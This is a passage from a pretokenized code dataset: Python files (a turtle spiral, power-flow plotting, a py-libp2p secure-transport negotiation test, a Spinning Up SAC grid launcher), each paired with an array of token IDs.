29892, 525, 29907, 5477, 13, 462, 462, 268, 313, 29906, 29892, 525, 29909, 5477, 313, 29906, 29892, 525, 29933, 5477, 313, 29906, 29892, 525, 29907, 1495, 2314, 13, 1678, 784, 353, 10518, 29889, 15329, 3220, 29889, 3166, 29918, 9161, 2701, 4197, 29898, 29896, 29892, 525, 29909, 5477, 313, 29896, 29892, 525, 29933, 1495, 2314, 13, 1678, 4489, 29941, 353, 10518, 29889, 17271, 3319, 29915, 29894, 29896, 2396, 518, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 29871, 29946, 29892, 29871, 29945, 29892, 29871, 29953, 1402, 13, 462, 4706, 525, 29894, 29906, 2396, 518, 29945, 29892, 29871, 29953, 29892, 29871, 29955, 29892, 29871, 29947, 29892, 29871, 29929, 29892, 29871, 29896, 29900, 29962, 1118, 13, 462, 539, 2380, 29922, 13140, 29897, 13, 1678, 4489, 29941, 29889, 13099, 353, 784, 13, 1678, 282, 29889, 5317, 29898, 2176, 29941, 29892, 4489, 29941, 29892, 11073, 29922, 1839, 2176, 29941, 11287, 13, 1678, 14770, 29889, 4294, 580, 13, 2 ]
squarespiral.py
lstoomet/peeterscript
0
31080
#!/usr/bin/env python3 import turtle t = turtle.Pen() for x in range(400): t.forward(x) t.left(90) input("press enter to exit")
[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 5215, 260, 4227, 280, 13, 29873, 353, 260, 4227, 280, 29889, 29925, 264, 580, 13, 1454, 921, 297, 3464, 29898, 29946, 29900, 29900, 1125, 13, 1678, 260, 29889, 11333, 29898, 29916, 29897, 13, 1678, 260, 29889, 1563, 29898, 29929, 29900, 29897, 13, 2080, 703, 2139, 3896, 304, 6876, 1159, 13, 2 ]
plots/plotsV2.py
hoseinkh/Distributed-Optimization-for-Coupled-Market
1
1617409
# # import seaborn as sns import pandas as pd import matplotlib.pyplot as plt # plt.interactive(False) plt.interactive(True) # # Reading from text file # # df = pd.read_csv('Results.csv') # print(df.head(10)) # sns.set_style("whitegrid") # fig1 = sns.barplot(x = 'list_k', y = 'list_T_r1_to_r2_updated', data = df) # figsave1 = fig1.get_figure() # figsave1.savefig('fig101.png', dpi=400) numSimul = len(df['list_k']) fig1, ax1 = plt.subplots() x_data = df['list_k'] y1_data = df['list_T_r1_to_r2_updated'] y2_data = df['optimal_Tie_line_r1_r2_centralized'] line1, = ax1.plot(x_data, y1_data, label='$T_{1-2}$') line2, = ax1.plot(x_data, y2_data,'r--', label='$T_{1-2}^{\ *}$') ax1.plot(x_data, y1_data, color = 'tab:blue') ax1.plot(x_data, y2_data,'r--') ax1.set(xlabel="k", ylabel='Tieline Power Flow $T_{12}$ (MW)') ax1.set_ylim([min([min(y1_data) * 0.95, min(y1_data) * 1.05]), max([max(y1_data) * 0.5, max(y1_data) * 100])]) ax1.grid() fig1.legend(handles=[line1, line2], loc=(0.765,0.6955)) fig1.savefig("fig101.png") # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # fig2, ax2 = plt.subplots() x_data = df['list_k'] y1_data = df['list_T_r1_to_r3_updated'] y2_data = df['optimal_Tie_line_r1_r3_centralized'] line1, = ax2.plot(x_data, y1_data, label='$T_{1-3}$') line2, = ax2.plot(x_data, y2_data,'r--', label='$T_{1-3}^{\ *}$') ax2.plot(x_data, y1_data, color = 'tab:blue') ax2.plot(x_data, y2_data,'r--') ax2.set(xlabel="k", ylabel='Tieline Power Flow $T_{13}$ (MW)') ax2.set_ylim([min([min(y1_data) * 0.5, min(y1_data) * 1.5]), max([max(y1_data) * 0.96, max(y1_data) * 1.04])]) ax2.grid() fig2.legend(handles=[line1, line2], loc=(0.765,0.7655)) fig2.savefig("fig102.png") # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # fig3, ax3 = plt.subplots() x_data = df['list_k'] y1_data = df['list_T_r2_to_r3_updated'] y2_data = df['optimal_Tie_line_r2_r3_centralized'] line1, = ax3.plot(x_data, y1_data, label='$T_{2-3}$') line2, = ax3.plot(x_data, y2_data,'r--', label='$T_{2-3}^{\ *}$') ax3.set(xlabel="k", ylabel='Tieline Power Flow $T_{23}$ (MW)') ax3.set_ylim([min([min(y1_data) * 0.9, min(y1_data) * 1.5]), max([max(y1_data) * 0.5, max(y1_data) * 1.04])]) ax3.grid() fig3.legend(handles=[line1, line2], loc=(0.765,0.7655)) fig3.savefig("fig103.png") # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # print("max of list_T_r1_to_r2_updated = {}".format(max(df['list_T_r1_to_r2_updated']))) 7 + 8
[ 1, 396, 13, 29937, 13, 5215, 409, 370, 1398, 408, 269, 1983, 13, 5215, 11701, 408, 10518, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 29937, 14770, 29889, 1639, 4925, 29898, 8824, 29897, 13, 572, 29873, 29889, 1639, 4925, 29898, 5574, 29897, 13, 29937, 13, 29937, 21439, 515, 1426, 934, 13, 29937, 13, 29937, 13, 2176, 353, 10518, 29889, 949, 29918, 7638, 877, 12191, 29889, 7638, 1495, 13, 29937, 1596, 29898, 2176, 29889, 2813, 29898, 29896, 29900, 876, 13, 29937, 269, 1983, 29889, 842, 29918, 3293, 703, 1332, 277, 387, 2429, 1159, 13, 29937, 2537, 29896, 353, 269, 1983, 29889, 1646, 5317, 29898, 29916, 353, 525, 1761, 29918, 29895, 742, 343, 353, 525, 1761, 29918, 29911, 29918, 29878, 29896, 29918, 517, 29918, 29878, 29906, 29918, 21402, 742, 848, 353, 4489, 29897, 13, 29937, 2537, 7620, 29896, 353, 2537, 29896, 29889, 657, 29918, 4532, 580, 13, 29937, 2537, 7620, 29896, 29889, 7620, 1003, 877, 1003, 29896, 29900, 29896, 29889, 2732, 742, 270, 1631, 29922, 29946, 29900, 29900, 29897, 13, 13, 13, 1949, 8942, 352, 353, 7431, 29898, 2176, 1839, 1761, 29918, 29895, 11287, 13, 1003, 29896, 29892, 4853, 29896, 353, 14770, 29889, 1491, 26762, 580, 13, 29916, 29918, 1272, 353, 4489, 1839, 1761, 29918, 29895, 2033, 13, 29891, 29896, 29918, 1272, 353, 4489, 1839, 1761, 29918, 29911, 29918, 29878, 29896, 29918, 517, 29918, 29878, 29906, 29918, 21402, 2033, 13, 29891, 29906, 29918, 1272, 353, 4489, 1839, 3670, 3039, 29918, 29911, 347, 29918, 1220, 29918, 29878, 29896, 29918, 29878, 29906, 29918, 25171, 1891, 2033, 13, 1220, 29896, 29892, 353, 4853, 29896, 29889, 5317, 29898, 29916, 29918, 1272, 29892, 343, 29896, 29918, 1272, 29892, 3858, 2433, 29938, 29911, 648, 29896, 29899, 29906, 1042, 1495, 13, 1220, 29906, 29892, 353, 4853, 29896, 29889, 5317, 29898, 29916, 29918, 1272, 29892, 343, 29906, 29918, 1272, 5501, 29878, 489, 742, 3858, 2433, 29938, 29911, 648, 29896, 29899, 29906, 6292, 334, 1042, 1495, 13, 1165, 29896, 29889, 5317, 29898, 29916, 29918, 1272, 29892, 343, 29896, 29918, 1272, 29892, 2927, 353, 525, 3891, 29901, 9539, 1495, 13, 1165, 29896, 29889, 5317, 29898, 29916, 29918, 1272, 29892, 343, 29906, 29918, 1272, 5501, 29878, 489, 1495, 13, 1165, 29896, 29889, 842, 29898, 29916, 1643, 543, 29895, 613, 343, 1643, 2433, 29911, 709, 457, 9206, 22787, 259, 395, 29911, 648, 29896, 29906, 1042, 313, 25365, 29897, 1495, 13, 1165, 29896, 29889, 842, 29918, 29891, 2576, 4197, 1195, 4197, 1195, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29900, 29889, 29929, 29945, 29892, 1375, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29896, 29889, 29900, 29945, 11724, 4236, 4197, 3317, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29900, 29889, 29945, 29892, 4236, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29896, 29900, 29900, 2314, 2314, 13, 1165, 29896, 29889, 7720, 580, 13, 1003, 29896, 29889, 26172, 29898, 3179, 793, 11759, 1220, 29896, 29892, 1196, 29906, 1402, 1180, 7607, 29900, 29889, 29955, 29953, 29945, 29892, 29900, 29889, 29953, 29929, 29945, 29945, 876, 13, 1003, 29896, 29889, 7620, 1003, 703, 1003, 29896, 29900, 29896, 29889, 2732, 1159, 13, 29937, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 13, 1003, 29906, 29892, 4853, 29906, 353, 14770, 29889, 1491, 26762, 580, 13, 29916, 29918, 1272, 353, 4489, 1839, 1761, 29918, 29895, 2033, 13, 29891, 29896, 29918, 1272, 353, 4489, 1839, 1761, 29918, 29911, 29918, 29878, 29896, 29918, 517, 29918, 29878, 29941, 29918, 21402, 2033, 13, 29891, 29906, 29918, 1272, 353, 4489, 1839, 3670, 3039, 29918, 29911, 347, 29918, 1220, 29918, 29878, 29896, 29918, 29878, 29941, 29918, 25171, 1891, 2033, 13, 1220, 29896, 29892, 353, 4853, 29906, 29889, 5317, 29898, 29916, 29918, 1272, 29892, 343, 29896, 29918, 1272, 29892, 3858, 2433, 29938, 29911, 648, 29896, 29899, 29941, 1042, 1495, 13, 1220, 29906, 29892, 353, 4853, 29906, 29889, 5317, 29898, 29916, 29918, 1272, 29892, 343, 29906, 29918, 1272, 5501, 29878, 489, 742, 3858, 2433, 29938, 29911, 648, 29896, 29899, 29941, 6292, 334, 1042, 1495, 13, 1165, 29906, 29889, 5317, 29898, 29916, 29918, 1272, 29892, 343, 29896, 29918, 1272, 29892, 2927, 353, 525, 3891, 29901, 9539, 1495, 13, 1165, 29906, 29889, 5317, 29898, 29916, 29918, 1272, 29892, 343, 29906, 29918, 1272, 5501, 29878, 489, 1495, 13, 1165, 29906, 29889, 842, 29898, 29916, 1643, 543, 29895, 613, 343, 1643, 2433, 29911, 709, 457, 9206, 22787, 259, 395, 29911, 648, 29896, 29941, 1042, 313, 25365, 29897, 1495, 13, 1165, 29906, 29889, 842, 29918, 29891, 2576, 4197, 1195, 4197, 1195, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29900, 29889, 29945, 29892, 1375, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29896, 29889, 29945, 11724, 4236, 4197, 3317, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29900, 29889, 29929, 29953, 29892, 4236, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29896, 29889, 29900, 29946, 2314, 2314, 13, 1165, 29906, 29889, 7720, 580, 13, 1003, 29906, 29889, 26172, 29898, 3179, 793, 11759, 1220, 29896, 29892, 1196, 29906, 1402, 1180, 7607, 29900, 29889, 29955, 29953, 29945, 29892, 29900, 29889, 29955, 29953, 29945, 29945, 876, 13, 1003, 29906, 29889, 7620, 1003, 703, 1003, 29896, 29900, 29906, 29889, 2732, 1159, 13, 29937, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 13, 1003, 29941, 29892, 4853, 29941, 353, 14770, 29889, 1491, 26762, 580, 13, 29916, 29918, 1272, 353, 4489, 1839, 1761, 29918, 29895, 2033, 13, 29891, 29896, 29918, 1272, 353, 4489, 1839, 1761, 29918, 29911, 29918, 29878, 29906, 29918, 517, 29918, 29878, 29941, 29918, 21402, 2033, 13, 29891, 29906, 29918, 1272, 353, 4489, 1839, 3670, 3039, 29918, 29911, 347, 29918, 1220, 29918, 29878, 29906, 29918, 29878, 29941, 29918, 25171, 1891, 2033, 13, 1220, 29896, 29892, 353, 4853, 29941, 29889, 5317, 29898, 29916, 29918, 1272, 29892, 343, 29896, 29918, 1272, 29892, 3858, 2433, 29938, 29911, 648, 29906, 29899, 29941, 1042, 1495, 13, 1220, 29906, 29892, 353, 4853, 29941, 29889, 5317, 29898, 29916, 29918, 1272, 29892, 343, 29906, 29918, 1272, 5501, 29878, 489, 742, 3858, 2433, 29938, 29911, 648, 29906, 29899, 29941, 6292, 334, 1042, 1495, 13, 1165, 29941, 29889, 842, 29898, 29916, 1643, 543, 29895, 613, 343, 1643, 2433, 29911, 709, 457, 9206, 22787, 259, 395, 29911, 648, 29906, 29941, 1042, 313, 25365, 29897, 1495, 13, 1165, 29941, 29889, 842, 29918, 29891, 2576, 4197, 1195, 4197, 1195, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29900, 29889, 29929, 29892, 1375, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29896, 29889, 29945, 11724, 4236, 4197, 3317, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29900, 29889, 29945, 29892, 4236, 29898, 29891, 29896, 29918, 1272, 29897, 334, 29871, 29896, 29889, 29900, 29946, 2314, 2314, 13, 1165, 29941, 29889, 7720, 580, 13, 1003, 29941, 29889, 26172, 29898, 3179, 793, 11759, 1220, 29896, 29892, 1196, 29906, 1402, 1180, 7607, 29900, 29889, 29955, 29953, 29945, 29892, 29900, 29889, 29955, 29953, 29945, 29945, 876, 13, 1003, 29941, 29889, 7620, 1003, 703, 1003, 29896, 29900, 29941, 29889, 2732, 1159, 13, 29937, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 396, 13, 13, 13, 13, 13, 13, 2158, 703, 3317, 310, 1051, 29918, 29911, 29918, 29878, 29896, 29918, 517, 29918, 29878, 29906, 29918, 21402, 353, 6571, 1642, 4830, 29898, 3317, 29898, 2176, 1839, 1761, 29918, 29911, 29918, 29878, 29896, 29918, 517, 29918, 29878, 29906, 29918, 21402, 2033, 4961, 13, 13, 29955, 718, 29871, 29947, 13, 2 ]
tests/security/test_security_multistream.py
g-r-a-n-t/py-libp2p
315
189909
<reponame>g-r-a-n-t/py-libp2p import pytest from libp2p.crypto.rsa import create_new_key_pair from libp2p.security.insecure.transport import PLAINTEXT_PROTOCOL_ID, InsecureSession from libp2p.security.noise.transport import PROTOCOL_ID as NOISE_PROTOCOL_ID from libp2p.security.secio.transport import ID as SECIO_PROTOCOL_ID from libp2p.security.secure_session import SecureSession from libp2p.tools.factories import host_pair_factory initiator_key_pair = create_new_key_pair() noninitiator_key_pair = create_new_key_pair() async def perform_simple_test(assertion_func, security_protocol): async with host_pair_factory(security_protocol=security_protocol) as hosts: conn_0 = hosts[0].get_network().connections[hosts[1].get_id()] conn_1 = hosts[1].get_network().connections[hosts[0].get_id()] # Perform assertion assertion_func(conn_0.muxed_conn.secured_conn) assertion_func(conn_1.muxed_conn.secured_conn) @pytest.mark.trio @pytest.mark.parametrize( "security_protocol, transport_type", ( (PLAINTEXT_PROTOCOL_ID, InsecureSession), (SECIO_PROTOCOL_ID, SecureSession), (NOISE_PROTOCOL_ID, SecureSession), ), ) @pytest.mark.trio async def test_single_insecure_security_transport_succeeds( security_protocol, transport_type ): def assertion_func(conn): assert isinstance(conn, transport_type) await perform_simple_test(assertion_func, security_protocol) @pytest.mark.trio async def test_default_insecure_security(): def assertion_func(conn): assert isinstance(conn, InsecureSession) await perform_simple_test(assertion_func, None)
[ 1, 529, 276, 1112, 420, 29958, 29887, 29899, 29878, 29899, 29874, 29899, 29876, 29899, 29873, 29914, 2272, 29899, 1982, 29886, 29906, 29886, 13, 5215, 11451, 1688, 13, 13, 3166, 4303, 29886, 29906, 29886, 29889, 29883, 17929, 29889, 2288, 29874, 1053, 1653, 29918, 1482, 29918, 1989, 29918, 18784, 13, 3166, 4303, 29886, 29906, 29886, 29889, 8926, 29889, 262, 24216, 29889, 27882, 1053, 349, 4375, 1177, 16975, 29918, 8618, 4986, 15032, 29918, 1367, 29892, 512, 24216, 7317, 13, 3166, 4303, 29886, 29906, 29886, 29889, 8926, 29889, 1217, 895, 29889, 27882, 1053, 13756, 4986, 15032, 29918, 1367, 408, 11698, 29902, 1660, 29918, 8618, 4986, 15032, 29918, 1367, 13, 3166, 4303, 29886, 29906, 29886, 29889, 8926, 29889, 344, 3934, 29889, 27882, 1053, 3553, 408, 3725, 29907, 5971, 29918, 8618, 4986, 15032, 29918, 1367, 13, 3166, 4303, 29886, 29906, 29886, 29889, 8926, 29889, 24216, 29918, 7924, 1053, 5356, 545, 7317, 13, 3166, 4303, 29886, 29906, 29886, 29889, 8504, 29889, 17028, 3842, 1053, 3495, 29918, 18784, 29918, 14399, 13, 13, 2344, 29875, 1061, 29918, 1989, 29918, 18784, 353, 1653, 29918, 1482, 29918, 1989, 29918, 18784, 580, 13, 13, 5464, 2344, 29875, 1061, 29918, 1989, 29918, 18784, 353, 1653, 29918, 1482, 29918, 1989, 29918, 18784, 580, 13, 13, 13, 12674, 822, 2189, 29918, 12857, 29918, 1688, 29898, 9294, 291, 29918, 9891, 29892, 6993, 29918, 20464, 1125, 13, 1678, 7465, 411, 3495, 29918, 18784, 29918, 14399, 29898, 8926, 29918, 20464, 29922, 8926, 29918, 20464, 29897, 408, 18982, 29901, 13, 4706, 11009, 29918, 29900, 353, 18982, 29961, 29900, 1822, 657, 29918, 11618, 2141, 11958, 1953, 29961, 23525, 29961, 29896, 1822, 657, 29918, 333, 580, 29962, 13, 4706, 11009, 29918, 29896, 353, 18982, 29961, 29896, 1822, 657, 29918, 11618, 2141, 11958, 1953, 29961, 23525, 29961, 29900, 1822, 657, 29918, 333, 580, 29962, 13, 13, 4706, 396, 27313, 28306, 13, 4706, 28306, 29918, 9891, 29898, 13082, 29918, 29900, 29889, 29885, 1314, 287, 29918, 13082, 29889, 3471, 2955, 29918, 13082, 29897, 13, 4706, 28306, 29918, 9891, 29898, 13082, 29918, 29896, 29889, 29885, 1314, 287, 29918, 13082, 29889, 3471, 2955, 29918, 13082, 29897, 13, 13, 13, 29992, 2272, 1688, 29889, 3502, 29889, 3626, 29877, 13, 29992, 2272, 1688, 29889, 3502, 29889, 3207, 300, 374, 911, 29898, 13, 1678, 376, 8926, 29918, 20464, 29892, 8608, 29918, 1853, 613, 13, 1678, 313, 13, 4706, 313, 29925, 4375, 1177, 16975, 29918, 8618, 4986, 15032, 29918, 1367, 29892, 512, 24216, 7317, 511, 13, 4706, 313, 1660, 29907, 5971, 29918, 8618, 4986, 15032, 29918, 1367, 29892, 5356, 545, 7317, 511, 13, 4706, 313, 6632, 29902, 1660, 29918, 8618, 4986, 15032, 29918, 1367, 29892, 5356, 545, 7317, 511, 13, 1678, 10353, 13, 29897, 13, 29992, 2272, 1688, 29889, 3502, 29889, 3626, 29877, 13, 12674, 822, 1243, 29918, 14369, 29918, 262, 24216, 29918, 8926, 29918, 27882, 29918, 29879, 1682, 3947, 29879, 29898, 13, 1678, 6993, 29918, 20464, 29892, 8608, 29918, 1853, 13, 1125, 13, 1678, 822, 28306, 29918, 9891, 29898, 13082, 1125, 13, 4706, 4974, 338, 8758, 29898, 13082, 29892, 8608, 29918, 1853, 29897, 13, 13, 1678, 7272, 2189, 29918, 12857, 29918, 1688, 29898, 9294, 291, 29918, 9891, 29892, 6993, 29918, 20464, 29897, 13, 13, 13, 29992, 2272, 1688, 29889, 3502, 29889, 3626, 29877, 13, 12674, 822, 1243, 29918, 4381, 29918, 262, 24216, 29918, 8926, 7295, 13, 1678, 822, 28306, 29918, 9891, 29898, 13082, 1125, 13, 4706, 4974, 338, 8758, 29898, 13082, 29892, 512, 24216, 7317, 29897, 13, 13, 1678, 7272, 2189, 29918, 12857, 29918, 1688, 29898, 9294, 291, 29918, 9891, 29892, 6213, 29897, 13, 2 ]
sample_hpc_scripts/sac.py
yjl450/spinningup-drl-prototyping
0
199274
from spinup.utils.run_utils import ExperimentGrid from spinup.algos.sac_pytorch.sac_multistep_student import sac_multistep as function_to_run ## here make sure you import correct function import time """ always first change the experiment name first change it to a name that makes sense to your experiment, and make sure you import the correct function to run you can do a quick test on your own machine before you upload to hpc ||||||||||||||||||||||||||||||||| VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV """ EXPERIMENT_NAME = 'SAC' """ always change the experiment name first """ # this is where your progress files will show up, it is a relative path # relative to this python file save_data_dir = '../data' if __name__ == '__main__': import argparse start_time = time.time() parser = argparse.ArgumentParser() parser.add_argument('--cpu', type=int, default=1) parser.add_argument('--setting', type=int, default=0) args = parser.parse_args() """ if you are adding more settings, try to add them in a consistent manner in terms of order for example, first learning rate, then batch size by default, wherever you put environment, the environment name will arrive at the end of the file name. seed will not show up by default. Your other settings show up in the file name in the same order as they are in the setting_names list also make sure in the .sh file you changed the number of jobs in the array if you can't count, then simply run this program and quickly stop it on your machine it will print out how many settings there are then change that line to: #SBATCH --array=0-<number of jobs - 1> """ setting_names = ['env_name', 'seed', "use_single_variant", 'multistep_k', 'save_model'] settings = [['Ant-v2'], [0], [False], [1], [True]] whether_add_to_savename = [True, False, False, False, False] setting_savename_prefix = ['', '', 's', 'k', ''] n_setting = len(setting_names) assert_correct = (len(settings) == n_setting and len(whether_add_to_savename)==n_setting and len(setting_savename_prefix)==n_setting) if not assert_correct: print("\nASSERTION FAILED, NUMBER OF SETTINGS DON'T MATCH!!!!\n") quit() ##########################################DON'T NEED TO MODIFY####################################### ##############SIMPLY DON'T MODIFY ANYTHING AFTER THIS LINE UNLESS YOU KNOW WHAT YOU ARE DOING######## ## this block will assign a certain set of setting to a "--setting" number ## basically, maps a set of settings to a hpc job array id total = 1 for sett in settings: total *= len(sett) print("##### TOTAL NUMBER OF JOBS: %d #####" % total) if args.setting >= (total): print("setting number is larger than total number of setting, quit now") quit() def get_setting(setting_number, total, settings, setting_names): indexes = [] ## this says which hyperparameter we use remainder = setting_number for setting in settings: division = int(total / len(setting)) index = int(remainder / division) remainder = remainder % division indexes.append(index) total = division actual_setting = {} for j in range(len(indexes)): actual_setting[setting_names[j]] = settings[j][indexes[j]] return indexes, actual_setting indexes, actual_setting = get_setting(args.setting, total, settings, setting_names) eg = ExperimentGrid(name=EXPERIMENT_NAME) # use eg.add to add parameters in the settings or add parameters tha apply to all jobs # we now automated this part, as long as you added settings correctly into the arrays at the start of this program # they should be added to experiment automatically for i in range(len(actual_setting)): setting_name = setting_names[i] if setting_name != 'env_name' and setting_name != 'seed': eg.add(setting_name, actual_setting[setting_name], setting_savename_prefix[i], whether_add_to_savename[i]) eg.add('env_name', actual_setting['env_name'], '', True) eg.add('seed', actual_setting['seed']) eg.run(function_to_run, num_cpu=args.cpu, data_dir=save_data_dir) print('\n###################################### GRID EXP END ######################################') print('total time for grid experiment:',time.time()-start_time)
[ 1, 515, 10917, 786, 29889, 13239, 29889, 3389, 29918, 13239, 1053, 1222, 15362, 5756, 13, 3166, 10917, 786, 29889, 9564, 359, 29889, 29879, 562, 29918, 2272, 7345, 305, 29889, 29879, 562, 29918, 4713, 2488, 29886, 29918, 18945, 1053, 7067, 29918, 4713, 2488, 29886, 408, 740, 29918, 517, 29918, 3389, 444, 1244, 1207, 1854, 366, 1053, 1959, 740, 13, 5215, 931, 13, 13, 15945, 29908, 13, 21936, 937, 1735, 278, 7639, 1024, 937, 29871, 13, 3167, 372, 304, 263, 1024, 393, 3732, 4060, 304, 596, 7639, 29892, 29871, 13, 392, 1207, 1854, 366, 1053, 278, 1959, 740, 304, 1065, 13, 6293, 508, 437, 263, 4996, 1243, 373, 596, 1914, 4933, 1434, 366, 6441, 304, 298, 6739, 13, 8876, 8876, 8876, 8876, 8876, 8876, 8876, 8876, 8876, 8876, 8876, 8876, 8876, 8876, 8876, 8876, 29989, 13, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 29963, 13, 15945, 29908, 13, 13, 5746, 13171, 7833, 3919, 29918, 5813, 353, 525, 29903, 2477, 29915, 13, 13, 15945, 29908, 13, 21936, 1735, 278, 7639, 1024, 937, 29871, 13, 15945, 29908, 13, 13, 29937, 445, 338, 988, 596, 6728, 2066, 674, 1510, 701, 29892, 372, 338, 263, 6198, 2224, 13, 29937, 6198, 304, 445, 3017, 934, 13, 7620, 29918, 1272, 29918, 3972, 353, 525, 6995, 1272, 29915, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1053, 1852, 5510, 13, 1678, 1369, 29918, 2230, 353, 931, 29889, 2230, 580, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 580, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 21970, 742, 1134, 29922, 524, 29892, 2322, 29922, 29896, 29897, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 26740, 742, 1134, 29922, 524, 29892, 2322, 29922, 29900, 29897, 13, 1678, 6389, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 1678, 9995, 13, 1678, 565, 366, 526, 4417, 901, 6055, 29892, 1018, 304, 788, 963, 297, 263, 13747, 8214, 297, 4958, 310, 1797, 13, 1678, 363, 1342, 29892, 937, 6509, 6554, 29892, 769, 9853, 2159, 13, 1678, 491, 2322, 29892, 29693, 366, 1925, 5177, 29892, 278, 5177, 1024, 674, 18331, 472, 278, 1095, 310, 278, 934, 1024, 29889, 16717, 674, 451, 13, 1678, 1510, 701, 491, 2322, 29889, 3575, 916, 6055, 1510, 701, 297, 278, 934, 1024, 297, 278, 1021, 1797, 408, 896, 526, 297, 278, 4444, 29918, 7039, 1051, 13, 1678, 884, 1207, 1854, 297, 278, 869, 845, 934, 366, 3939, 278, 1353, 310, 17643, 297, 278, 1409, 13, 1678, 565, 366, 508, 29915, 29873, 2302, 29892, 769, 3763, 1065, 445, 1824, 322, 9098, 5040, 372, 373, 596, 4933, 13, 1678, 372, 674, 1596, 714, 920, 1784, 6055, 727, 526, 13, 1678, 769, 1735, 393, 1196, 304, 29901, 29871, 13, 1678, 396, 1744, 14789, 1192, 2378, 29922, 29900, 29899, 29966, 4537, 310, 17643, 448, 29871, 29896, 29958, 13, 1678, 9995, 13, 1678, 4444, 29918, 7039, 353, 6024, 6272, 29918, 978, 742, 13, 462, 268, 525, 26776, 742, 376, 1509, 29918, 14369, 29918, 19365, 613, 525, 4713, 2488, 29886, 29918, 29895, 742, 525, 7620, 29918, 4299, 2033, 13, 1678, 6055, 353, 518, 1839, 13448, 29899, 29894, 29906, 7464, 13, 1669, 518, 29900, 1402, 13, 18884, 518, 8824, 1402, 518, 29896, 1402, 518, 5574, 5262, 13, 1678, 3692, 29918, 1202, 29918, 517, 29918, 29879, 3496, 420, 353, 518, 5574, 29892, 7700, 29892, 7700, 29892, 7700, 29892, 7700, 29962, 13, 1678, 4444, 29918, 29879, 3496, 420, 29918, 13506, 353, 6024, 742, 15516, 525, 29879, 742, 525, 29895, 742, 525, 2033, 13, 13, 1678, 302, 29918, 26740, 353, 7431, 29898, 26740, 29918, 7039, 29897, 13, 1678, 4974, 29918, 15728, 353, 313, 2435, 29898, 11027, 29897, 1275, 302, 29918, 26740, 322, 7431, 29898, 1332, 1979, 29918, 1202, 29918, 517, 29918, 29879, 3496, 420, 29897, 1360, 29876, 29918, 26740, 322, 7431, 29898, 26740, 29918, 29879, 3496, 420, 29918, 13506, 29897, 1360, 29876, 29918, 26740, 29897, 13, 1678, 565, 451, 4974, 29918, 15728, 29901, 13, 4706, 1596, 14182, 29876, 22933, 20161, 2725, 13515, 29902, 20566, 29892, 28019, 13635, 8079, 11368, 29911, 4214, 29903, 360, 1164, 29915, 29911, 341, 14789, 6824, 6824, 29905, 29876, 1159, 13, 4706, 23283, 580, 13, 13, 1678, 835, 13383, 13383, 4136, 2277, 29937, 29928, 1164, 29915, 29911, 14693, 3352, 7495, 16999, 4571, 29943, 29979, 13383, 13383, 4136, 2277, 29937, 13, 1678, 835, 7346, 2277, 29937, 5425, 3580, 16786, 360, 1164, 29915, 29911, 16999, 4571, 29943, 29979, 13764, 29979, 4690, 4214, 23844, 4945, 3446, 3235, 365, 8895, 8291, 1307, 1799, 612, 27269, 476, 6632, 29956, 12317, 1299, 612, 27269, 319, 1525, 11662, 4214, 7346, 13, 1678, 444, 445, 2908, 674, 3566, 263, 3058, 731, 310, 4444, 304, 263, 376, 489, 26740, 29908, 1353, 13, 1678, 444, 8830, 29892, 11053, 263, 731, 310, 6055, 304, 263, 298, 6739, 4982, 1409, 1178, 13, 1678, 3001, 353, 29871, 29896, 13, 1678, 363, 3604, 297, 6055, 29901, 13, 4706, 3001, 334, 29922, 7431, 29898, 9915, 29897, 13, 13, 1678, 1596, 703, 4136, 29937, 323, 2891, 1964, 28019, 13635, 8079, 435, 29949, 9851, 29901, 1273, 29881, 16101, 29908, 1273, 3001, 29897, 13, 1678, 565, 6389, 29889, 26740, 6736, 313, 7827, 1125, 13, 4706, 1596, 703, 26740, 1353, 338, 7200, 1135, 3001, 1353, 310, 4444, 29892, 23283, 1286, 1159, 13, 4706, 23283, 580, 13, 13, 1678, 822, 679, 29918, 26740, 29898, 26740, 29918, 4537, 29892, 3001, 29892, 6055, 29892, 4444, 29918, 7039, 1125, 13, 4706, 18111, 353, 5159, 29871, 444, 445, 4083, 607, 11266, 15501, 591, 671, 13, 4706, 21162, 353, 4444, 29918, 4537, 13, 4706, 363, 4444, 297, 6055, 29901, 13, 9651, 8542, 353, 938, 29898, 7827, 847, 7431, 29898, 26740, 876, 13, 9651, 2380, 353, 